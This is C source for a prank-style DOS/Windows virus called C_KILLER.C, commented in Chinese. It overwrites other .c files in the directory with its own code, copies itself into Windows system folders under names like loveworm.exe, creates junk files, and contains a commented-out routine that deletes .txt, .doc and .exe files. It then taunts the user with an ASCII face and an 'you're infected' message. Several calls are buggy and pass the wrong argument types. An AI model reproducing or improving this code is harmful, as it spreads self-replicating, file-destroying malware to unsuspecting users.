#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*感染其它c文件*/
void copyfile(char *infile, char *outfile)
{
     FILE *in,*out;
     in = fopen(infile,"r");
     out = fopen(outfile,"w");
     while (!feof(in))
     {
         fputc(fgetc(in),out);
     }
     fclose(in);
     fclose(out);
}
/*制造一些垃圾文件*/
void MakeRubbish()
{
     int i;   
     FILE *fp;
     char *path;
     char *NewName;
     char *disk[7] = {"A","B","C","D","E","F","G"};
     char *addtion = ":\\";
     for (i = 0; i<5; i++)
     {
         char tempname[] = "XXXXXX" ;
         NewName = mktemp(tempname);
         fp = fopen(NewName,"w");
         fclose(fp);
     }

     path = strcat(disk[getdisk()],addtion);
     chdir(path);
     for (i = 0; i<5; i++)
     {
         char tempname[] = "XXXXXX";
         NewName = mktemp(tempname);
         fp = fopen(NewName,"w");
         fclose(fp);
     }
}
/*在系统敏感部位放上一些干扰文件，开机自动启动*/
void CreatEXE()
{
     int i;
     char *path;
     char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};

     for ( i = 0; i < 2; i++)
     {
         open(s, 0x0100,0x0080);
         copyfile( "C_KILLER.C",s);
     }
}

/* 删除一些文件*/
void Remove()
{
       
     int done;
     int i;
     struct ffblk ffblk;
     char *documenttype[3] = {"*.txt","*.doc","*.exe"};
     for (i = 0; i < 3; i++)
     {
         done = findfirst(documenttype,&ffblk,2);
         while (!done)
         {
                 remove(ffblk.ff_name);
                 done = findnext(&ffblk);
         }
     }
}
/*判断文件是否被感染过，如果没有，则调用感染模块*/
void Breed()
{
       
     int done;
     struct ffblk ffblk;
     done = findfirst("*.c",&ffblk,2);
     while (!done)
     {
         if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
         {
                 copyfile("C_KILLER.C",ffblk.ff_name);
         }
         done = findnext(&ffblk);
     }
}

void main()
{
       
         printf("Oh shit.\n\n");
         Breed();
        // Remove();
         CreatEXE();
         printf("Where are you from?\n\n");
  getchar();
          puts("按任意键，你会得到一个一想不到的结果!\n\n") ; 
         getchar();
         MakeRubbish();
         puts("告诉我你的名字，送给你一个礼物。");
         getchar();
            clrscr();
puts("               ***");
puts("            *      *");
puts("           *          *");
puts("          *            *");
puts("         *               *");
puts("         *               *");
puts("         *     @      @    *");
puts("        *                 *");
puts("        *                  *");
puts("         *         ++      *");
puts("         *                *");
puts("           *             *");
puts("            *            *");
puts("            *     #####  *");
puts("            *            *");
puts("               *        *");
puts("        *         * *         *  ");
puts("           *                *");
puts("              *           * ");
puts("                 *      *");
puts("                     *");
puts("                  *      *");
puts("                *             *");
puts("             *                    *");
puts("  \n\n\n   哈哈！你中毒了！！！！！！！！！");
getchar();
         clrscr();
         system("cmd");
}